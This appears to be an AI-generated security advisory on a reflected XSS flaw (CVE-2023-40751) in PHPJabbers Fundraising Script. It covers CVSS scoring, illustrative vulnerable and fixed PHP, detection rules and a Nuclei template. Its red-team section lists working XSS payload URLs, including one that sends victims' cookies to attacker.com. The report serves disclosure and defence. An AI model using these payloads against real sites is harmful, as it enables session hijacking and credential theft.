CVE-2023-40751

Executive Summary

CVE-2023-40751 is a reflected Cross-Site Scripting (XSS) vulnerability in PHPJabbers Fundraising Script v1.0. The flaw resides in the action parameter of index.php, allowing unauthenticated attackers to inject arbitrary JavaScript code. Successful exploitation can lead to credential theft, session hijacking, and manipulation of donation campaigns. The vulnerability is publicly documented with a verified Nuclei template, and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (PHPJabbers Fundraising Script v1.0) and is not associated with any NPM, PyPI, Go, or Ruby package. The risk is limited to direct deployments of the script.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the low complexity and network-based attack vector, though user interaction is required.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the action parameter of index.php. The application fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL with a malicious payload in the action parameter, such as:

/index.php?controller=pjAdmin&action=<img src=x onerror=prompt(document.domain)>

When a victim visits this URL, the injected JavaScript executes in the context of the victim's browser. The action parameter is directly embedded in the HTML response without proper output encoding, allowing arbitrary script execution.

The Nuclei template confirms the vulnerability by sending a POST request with the payload and checking for the presence of the injected string in the response body.

Vulnerable vs. Patched Code

Vulnerable Code (index.php in v1.0):

// No sanitization or encoding of $_GET['action']
$action = $_GET['action'];
echo "<div class='action'>$action</div>";

Patched Code (hypothetical):

// Properly encode output
$action = htmlspecialchars($_GET['action'], ENT_QUOTES, 'UTF-8');
echo "<div class='action'>$action</div>";

The vulnerable code directly echoes the user-supplied action parameter without any sanitization. The patched version uses htmlspecialchars() to encode HTML special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy PHPJabbers Fundraising Script v1.0 on a local server (e.g., XAMPP or Docker).
2. Craft Payload: Use the following URL to trigger XSS:

   http://target/index.php?controller=pjAdmin&action=<script>alert('XSS')</script>
   

3. Exploit: Send the crafted link to an authenticated administrator. When clicked, the script executes in the admin's session, allowing cookie theft or action manipulation.
4. Advanced Payload: Steal cookies:

   http://target/index.php?controller=pjAdmin&action=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

Blue Team

1. Detection: Monitor web server logs for requests containing suspicious patterns in the action parameter (e.g., <script>, <img onerror).
2. Mitigation: Implement a Web Application Firewall (WAF) rule to block XSS payloads in the action parameter.
3. Hunting: Search for anomalous POST requests to /index.php with controller=pjAdmin and unusual action values.

Indicators of Compromise (IOCs)

• URL Pattern: index.php?controller=pjAdmin&action=<script>
• HTTP Request: POST to /index.php with action parameter containing HTML/JavaScript.
• Response Body: Presence of unescaped HTML tags in the action parameter reflection.
• Log Entry: POST /index.php?controller=pjAdmin&action=%3Cscript%3Ealert(1)%3C/script%3E

Detection Engineering

YARA Rule

rule CVE_2023_40751_XSS {
    meta:
        description = "Detects XSS attempts against PHPJabbers Fundraising Script v1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40751"
    strings:
        $xss_payload = /action=<[^>]*script[^>]*>/
        $xss_img = /action=<img[^>]+onerror=/
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-40751 XSS Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against PHPJabbers Fundraising Script v1.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'controller=pjAdmin'
        cs-uri-query|re: 'action=<[^>]*script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in action parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40751 XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php"; http_uri; content:"controller=pjAdmin"; http_uri; pcre:"/action=<[^>]*script[^>]*>/Ui"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-40751

info:
  name: PHPJabbers Fundraising Script v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    PHPJabbers Fundraising Script v1.0 is vulnerable to Cross Site Scripting (XSS) via the "action" parameter of index.php.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal fundraising administrator credentials and manipulate donation campaigns.
  remediation: |
    Update PHPJabbers Fundraising Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40751
    cwe-id: CWE-79
    epss-score: 0.0114
    epss-percentile: 0.78506
    cpe: cpe:2.3:a:phpjabbers:fundraising_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: fundraising_script
  tags: cve,cve2023,phpjabbers,fundraising,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to the action parameter in index.php. Use htmlspecialchars() or equivalent.
2. WAF Rule: Block requests containing <script> or event handlers (e.g., onerror=) in the action parameter.
3. Update: Monitor PHPJabbers for an official patch. If unavailable, consider migrating to a supported fundraising script.
4. User Training: Educate administrators not to click suspicious links.
5. Monitoring: Enable logging and alerting for anomalous action parameter values.

Valters IT signature: This report is generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).